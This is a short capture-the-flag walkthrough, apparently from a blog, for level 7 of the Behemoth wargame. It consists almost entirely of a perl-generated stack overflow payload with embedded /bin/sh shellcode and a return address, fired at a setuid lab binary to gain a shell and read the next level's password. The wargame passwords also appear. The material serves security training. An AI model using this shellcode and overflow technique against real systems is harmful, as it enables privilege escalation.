# Behemoth wargame: Level 7


# ssh behemoth7@behemoth.labs.overthewire.org
behemoth6@behemoth.labs.overthewire.org's password:626171756f787561666f

behemoth7@melissa$ file /behemoth/behemoth7
/behemoth/behemoth7: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
behemoth7@melissa$ /behemoth/behemoth7 `perl -e 'print "A"x512 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\xeb\x0f" . "\x90"x11 . "\x04\xd5\xff\xff". "\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`
$ /usr/bin/whoami
behemoth8
$ /bin/cat /etc/behemoth_pass/behemoth8
7068656577696a374165

No comments: